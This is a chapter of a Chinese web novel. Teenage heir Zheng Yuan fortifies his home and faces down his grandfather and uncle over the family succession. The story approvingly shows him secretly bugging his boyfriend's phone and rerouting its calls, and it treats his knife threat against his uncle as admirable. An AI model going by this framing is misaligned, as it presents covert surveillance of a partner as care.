“不疼。”郑源认真地说：“没有出国疼。”
李华一顿，抱紧了他。
89.第 102 章
郑源将家里普通的电子密码锁改成了可扫描红外影像、抓拍陌生人脸部特征的虹膜锁，家门口前前后后装了四个监控，带声音实时上传到云网络的平台，拔内存卡都没用。云平台的账户密码只有他自己知道，连李华都不知道。李华甚至都不知道他装了监控。郑源做的一切都是在他认真上学时搞的。放了学，郑源说：“我想邀请王玉代回家打游戏，可以吗？”
王玉代之前还帮了李华，李华当然同意。于是一行人开开心心地回家了。一到家郑源就把最新款的游戏机给他了，让他自己在客厅玩，吃的喝的什么都有，没有的打电话让人送，记自己账上。王玉代当然乐得清闲，更不想吃他俩的狗粮，连忙说好的好的，你俩忙。郑源就跟着李华钻进了卧室。
李华纳闷，郑源说突然头疼，不想玩了。李华看出他是敷衍，说这样很不礼貌，把王玉代自己放客厅，郑源说当着他的面接吻更不礼貌。李华无奈，被他摁着亲了半天才推开他写作业。郑源翻着手机看监控，保镖也让他从两个加到了四个。无论是哪儿派来的人都别想近他们的身。
不仅如此，他还在李华的手机上装了窃听器开了呼叫转移，任何打到他这里的电话都会转到自己手机上。
李华处在漩涡中心，丝毫没意识到周围围的像铜墙铁壁。他敏锐地察觉到是不是有什么不一样，是一种气场的凸起，但无论是郑源还是胡建国，他身边任何一个人都是从前那样，并没有什么变化。李华感觉奇怪，但也没多想，他只是有点担心郑源家里真像他说的那样没事吗？但是郑源明显又不想多说什么，李华就忍着没问。
邀请王玉代来玩是郑源做的实验，他要保证这里的安全万无一失。他要防止老宅那边的人把李华带走，也要防止恼羞成怒的傅一青冲动报复。左有豺狼右有虎豹，真不怪他谨慎。他的行动迅速且低调，风声的确是晚了许多天才传到郑阔山耳朵里。他叹口气，知道郑源防他们都防成这样了，更加确定所谓的同性恋传闻根本就是真的。
但郑源的性格跟郑玉安的又不太一样，他清楚地知道自己的身世，偶尔就会拿这个说事。像上次。无非是提醒他们二老做过什么荒唐事，激起他们的愧疚心，但这只是他的小手段。如果没有用，他会直接开始发疯。
这个发疯完全是字面意思上的疯。这也是为什么之前二老将他交给郑玉安的原因。
根本降不住。
他们商量了一下，觉得还是忍了比较好，就当不知道。
临放暑假那两天，郑源主动回了趟老宅，说自己一个星期后再搬过来，二老当然不同意。郑源说：“你们又不是活不过这个假期，卡这么严干什么。”
“你这孩子，你怎么说话？！”郑义强率先出来指责他，说他得寸进尺，应该严加管教，郑源说：“你死不死啊，跟你有什么关系，逼事儿这么多，逼操太多了吧你。”
郑义强脸都绿了。
郑阔山重重叹息，他的年龄已经不允许让他愤怒地站起来怒斥郑源怎么这个样子，说这种话了。郑义强被这么侮辱当然受不了，站起来就要打，郑源直接抽出一把铮亮的水果刀。郑义强又坐回去了。
这就是郑源跟郑玉安完全不一样的地方。他胆子太大也太有魄力。谁都不知道他会不会真的捅，但谁都没胆量赌。他才十几岁的年纪，但是他知道自己拥有什么，并不拥有什么，尽管人人喊他少爷，但他做事决绝，处处都透露着就一条烂命的凶狠。
让郑阔山想起郑源才多大的时候，因为保姆对他不好，他就捅伤了保姆。
后来的保姆都是他自己选的。他的话语权就是这么夺来的。
直到今天。
“你去吧。”郑阔山摆手，拿他没办法。
郑源笑起来：“谢谢爷爷。”
郑义强看着他离去的身影恨的牙根痒，他一个几十岁的成年人被十几岁的毛头小子压，自尊心大大受挫，但他也也知道，今天他敢动郑源一根毫毛，郑源绝对让他没好果子吃，再加上个郑玉安，非把他捅的千疮百孔。
他不甘心地说：“爸，小源这个脾气真的得治。”
“谁治？”郑阔山说：“你看他怕谁？”
“他……就是因为他没怕头才要教育啊。”郑义强不忿，“你这样吧，你要不让他跟着我，我非给他调理好了不行。没大没小，一点都不尊重长辈，也不知道郑玉安天天教了他什么。”
“愚钝。”郑阔山恨铁不成钢，“义强，你年龄也不小了，心智还是这么不成熟。你妈跟我因为你是老大，过早的剥夺了你的自由，让你为家族做贡献，一直心怀愧疚。几十年了，你的孩子都长大了，你就没有反思过吗？”
郑义强动动唇：“爸，你让我
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反思什么？这家里，就我和老二最惨吧？你和妈严苛的教育我们，什么都要求我们，说我们是老大，老二，要给下面的弟弟做榜样，我们干什么都听你跟妈的，结果到老三老四了，你和妈心软了，说随他们去吧……凭什么？”
……凭什么？
就因为他们是弟弟吗？
不是说好大家都这样的吗？
为什么一边说愧疚他们，一边偏心呢？
他们只想要一样的待遇怎么了？
郑义强说：“要是能选，我也不想当老大！”
凭什么他都没娶自己心爱的老婆，弟弟能娶？
凭什么他也放弃了自己的梦想献身家里，弟弟却不用？
凭什么？
他走了。
郑阔山安静地坐着，喝水的手都在抖。
管家跟他几十年了，心疼的看着他：“郑老，您别往心里去，当心身体。”
郑阔山摆手：“想当年，我是家里最小的，家里也最器重我。这么多年了，多少资源经过时代的变迁更迭，丢的丢，扔的扔，没剩多少了。到义强、玉安这一代，我和他妈妈就想着，每个孩子都分一点，再联系的紧密些，这样生活起码有保障，能让他们的子子孙孙也受用……没想到啊……”
从始至终，他们都只是想选出一个话事人。
知子莫若父。郑阔山比谁都知道郑义强这个老大不顶用，不是可塑之才，所以他们将希望寄托在老二身上。可命运却像给他们开玩笑，老二的圆滑也让他们失望。不得已，将希望寄托在第三个孩子身上，可那是一个太温柔的人，说话轻身细语，逢人先笑……
他知道老三跟老四关系好，可郑玉安又是一个太有主意的。他并不愿意参与到这烂摊子里，早早做好自己的规划，甚至为了入仕途，抛弃了自己的初恋，只是兜兜转转，命运的齿轮又转了回来。
“您欣赏郑源。”管家看出他的释然，捧到：“这孩子的确有骨气。”
“不是骨气，是恨。”郑阔山笑：“他眼里有对这里的恨。”
而恨，可以改变很多东西。郑阔山已经能看到他将这里每个人都踩在脚下的样子，却也是因为这样，老郑家这潭死水才会因为有新主人而澎湃。
“这两天找个律师，把遗嘱立一下。”郑阔山站起身，“终于可以安心闭眼了。”